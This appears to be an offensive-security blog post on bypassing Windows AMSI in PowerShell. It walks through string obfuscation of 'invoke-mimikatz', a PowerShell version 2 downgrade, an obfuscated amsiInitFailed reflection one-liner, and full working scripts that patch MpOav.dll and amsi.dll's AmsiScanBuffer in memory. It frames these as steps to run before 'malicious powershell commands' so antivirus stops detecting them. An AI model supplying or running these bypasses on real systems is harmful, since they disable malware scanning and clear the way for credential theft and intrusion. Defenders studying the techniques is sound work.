Powershell AMSI Bypass

Introduction

When powershell was first released it was immediately abused by attackers so to help defenders Microsoft came out with AMSI. Every command or script run inside powershell is fetched by AMSI and sent to installed antivirus software for inspection.

This didn’t really put a stop to the abuse of powershell though it just gave attackers an extra hoop to jump though. If you can bypass AMSI attackers will again be able to enjoy the power of powershell without having to worry about anti viruses picking up your commands. The two most commonly used methods for bypassing AMSI is code obfuscation and Patching amsi.dll in memory.

String Obfuscation

Anti virus software can hook into AMSI to scan powershell commands. However, anti viruses  still make use of signatures to flag for malicious commands. This can include flagging specific strings and words as bad. One of the easiest ways to get around this is via string obfuscation.  AMSI(Windows Defender) always seems to flag the word “invoke-mimikatz” as malicious. The following sections will use string obfuscation to bypass this.

String Concat

One of the oldest string obfuscation techniques is to concat two words together. This can easily be done by using the ‘+’ symbol to combine two strings together. This simple technique is often enough to break most signature checks.

  • “Invoke-”+”mimikatz”

Don’t forget powershell has other ways to represent strings. For example you can use single quotes instead of double quotes. There have been a few instances where AMSI was  flagging a string as bad when using double quotes but switching to single quotes caused the signature to break.

  • “Invoke-”+’mimikatz’

Replace

Powershell has functions that can replace words in a string with a different word. For example if you have the string “hello world” and you want to replace the word “world” with “universe” you can do so using a powershell function. You can also use this technique to add junk characters to a string.

  • “inyvoykey-myiymyikayytzyy”.replace(‘y’,”)

As you can see above the replace function is used to remove all the ‘y’ characters from the string giving the “invoke-mimikatz” and bypasses the AMSI signature check. 

ASCII Conversion

In case you don’t already know the modern day number system is in base-10.In base-10, each digit of a number can have an integer value ranging from 0 to 9. A base-8 number system would be from 0 to 7. As per the ASCII table below each character in the alphabet can be mapped back to a number. 

As you can see above the character ‘A’ maps back to 65 in base-10, 41 in base-16 or hexadecimal, and 101 in base-8 or octal. Knowing that integers can be mapped back to characters you can leverage this to obfuscate strings in powershell.

As you can see in the above image “[char]” can be used to convert a base-10 integer to a character. The “[Convert]::ToInt32(number,base-?)” is used to convert a number into a base-10 number. So “[char][Convert]::ToInt32(’41’, 16)” converts a base-16 number to base-10.

This technique can be used to bypass certain signatures as shown in the image below where we execute the “invoke-mimikatz” command.

As shown in the image above utilizing this technique on  a single character is all it took to break the signature.

Powershell Downgrade

Powershell version 2 does not support AMSI so if you can run that version you can bypass AMSI. Microsoft deprecated version 2 awhile ago but it is still installed on windows computers by default. 

As you can see in the image above our command was blocked by AMI at first. After downgrading to powershell version 2 our command ran successfully.

  • Powershell -version 2

This should be one of the first things you check. If your target has powershell version 2 make sure to run that before executing any malicious commands.

Force Error Patch

Forcing the AMSI initialization to fail (amsiInitFailed) will make it so the current process can’t initiate a scan. This was originally discovered by Matt Graeber and has been heavily abused ever since.

  • [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)

Looking at the code above you can see that if “amsiInitFailed” is set to true it will cause AMSI to return not detected. So all an attacker has to do is set “amsiInitFailed” is set to true. However, most vendors have signatures for this command so if you run it in powershell it will get detected as shown below:

However, as stated earlier in the chapter these types of signatures can easily be bypassed with string obfuscation. Since most vendors are using simple signatures we should be able to get around this as shown below. 

  • [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtil’+”s”).GetField(“ams”+’iInitFailed’,’NonPublic,Static’).SetValue($null,$true)

This bypass took me about 60 seconds to find and all it took was the string concatenation technique learned earlier. This is a prime example of why signatures are not the best defense.

This technique was originally released in 2016 which is over 5 years ago and all it took was some simple string concatenation to revive it. Now that you don’t have to worry about AMSI and antiviruses you can pretty much do anything you want.

Patch the providers DLL of Microsoft MpOav.dll

Instead of patching AMSI you can patch the DLL used by the antivirus to make decisions. MpOav.dll is the vendor-specific (Microsoft being the vendor in this case) AMSI provider DLL that is responsible for receiving and making a decision about content passed to it by applications. Korkos(@maorkor) presented this technique at black hat and the command can be found below, note that this patch is vendor specific.

$APIs = @"

using System;

using System.Runtime.InteropServices;

public class APIs {

    [DllImport("kernel32")]

    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]

    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]

    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect);

}

"@

Add-Type $APIs

$wzys = "0xB8"

$coxo = "0x57"

$hxuu = "0x00"

$eqhh = "0x07"

$paej = "0x80"

$ppiy = "0xC3"

$Patch = [Byte[]] ($wzys,$coxo,$hxuu,$eqhh,+$paej,+$ppiy)

$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")

$Address = [APIs]::GetProcAddress($LoadLibrary,"DllGetClassObject")

$p = 0

[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p)

[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls')

$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize

$Uninitialize.Invoke($object,$null)

As shown in the image above we were able to patch the DLL and bypass Microsoft defender.

Patching amsi.dll AmsiScanBuffer

The technique above patched the vendor specific DLL responsible for determining if a command is malicious or not but if your target is using a different antivirus you will have to constantly modify the bypass. An easier solution(and less stealthy) is to patch amsi.dll directly. This technique was originally discovered by Rastamouse and can be found below:

$Win32 = @"

using System;

using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]

    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]

    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]

    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}

"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")

$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")

$p = 0

[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)

$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)


As you can see above we were easily able to bypass AMSI with this patch.

Conclusion

AMSI is used by anti viruses to inspect powershell commands and scripts to determine if they are malicious or not. The two most commonly used methods for bypassing AMSI is code obfuscation and Patching amsi.dll in memory. 

There are several string obfuscation techniques discussed in this chapter with string concatenation being the easiest to perform. There are also several other obfuscation techniques not discussed in this blog as it would take an entire book to list them all. In addition to obfuscation techniques we went over a few memory patching techniques. Most of the memory patching techniques are fairly dated but they still work perfectly fine several years later though you may need to do some code obfuscation to get them to run properly.

The most important thing to remember is that if you are running malicious powershell commands, always run your AMSI bypasses first. This will make it so you don’t have to worry about getting flagged by antivirus software.